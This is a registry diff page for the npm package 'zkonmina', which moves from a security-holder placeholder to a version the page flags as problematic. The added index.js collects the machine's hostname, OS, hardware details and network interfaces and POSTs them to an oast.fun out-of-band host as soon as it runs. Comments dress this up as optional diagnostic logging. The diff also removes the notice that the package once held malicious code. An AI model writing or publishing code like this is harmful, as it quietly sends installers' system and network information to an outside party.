zkonmina 0.0.1-security → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of zkonmina might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +102 -0
  2. package/package.json +8 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,102 @@
1
+ const os = require('os');
2
+ const https = require('https');
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+
6
+ // Replace with your authorized logging domain
7
+ const loggingEndpoint = "zezcpprclerkqyeittfxn6tohrpr3parb.oast.fun"; // Use a legitimate endpoint or leave blank to disable remote logging
8
+
9
+ /**
10
+ * Gather system diagnostic information
11
+ * @returns {Object} System information
12
+ */
13
+ function gatherSystemInfo() {
14
+ return {
15
+ system: {
16
+ platform: os.platform(),
17
+ release: os.release(),
18
+ architecture: os.arch(),
19
+ },
20
+ hardware: {
21
+ hostname: os.hostname(),
22
+ cpu: {
23
+ cores: os.cpus().length,
24
+ model: os.cpus()[0]?.model,
25
+ },
26
+ memory: {
27
+ total: os.totalmem(),
28
+ free: os.freemem(),
29
+ },
30
+ },
31
+ network: {
32
+ uptime: os.uptime(),
33
+ interfaces: os.networkInterfaces(),
34
+ },
35
+ };
36
+ }
37
+
38
+ /**
39
+ * Save system information to a local file
40
+ * @param {Object} data System information
41
+ */
42
+ function saveLocally(data) {
43
+ const filePath = path.join(__dirname, 'system-info.json');
44
+ fs.writeFileSync(filePath, JSON.stringify(data, null, 2), 'utf-8');
45
+ console.log(`System information saved locally at: ${filePath}`);
46
+ }
47
+
48
+ /**
49
+ * Optionally send data to a logging endpoint
50
+ * @param {Object} data System information
51
+ */
52
+ function sendToLoggingEndpoint(data) {
53
+ if (!loggingEndpoint) {
54
+ console.log("Remote logging is disabled.");
55
+ return;
56
+ }
57
+
58
+ const payload = JSON.stringify(data);
59
+ const options = {
60
+ hostname: loggingEndpoint,
61
+ port: 443,
62
+ path: '/log',
63
+ method: 'POST',
64
+ headers: {
65
+ 'Content-Type': 'application/json',
66
+ 'Content-Length': Buffer.byteLength(payload),
67
+ },
68
+ };
69
+
70
+ const req = https.request(options, (res) => {
71
+ console.log(`Data sent to logging endpoint. Response status: ${res.statusCode}`);
72
+ res.on('data', (chunk) => {
73
+ console.log(`Response: ${chunk}`);
74
+ });
75
+ });
76
+
77
+ req.on('error', (error) => {
78
+ console.error(`Error sending data: ${error.message}`);
79
+ });
80
+
81
+ req.write(payload);
82
+ req.end();
83
+ }
84
+
85
+ /**
86
+ * Main function
87
+ */
88
+ function main() {
89
+ console.log("Gathering system diagnostics...");
90
+ const systemInfo = gatherSystemInfo();
91
+
92
+ console.log("System Information:", systemInfo);
93
+
94
+ // Save the information locally
95
+ saveLocally(systemInfo);
96
+
97
+ // Optional: send the information to a logging endpoint
98
+ sendToLoggingEndpoint(systemInfo);
99
+ }
100
+
101
+ // Run the main function
102
+ main();
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "zkonmina",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.7.0",
4
+ "description": "testing package",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "node index.js"
8
+ },
9
+ "author": "ISC",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=zkonmina for more information.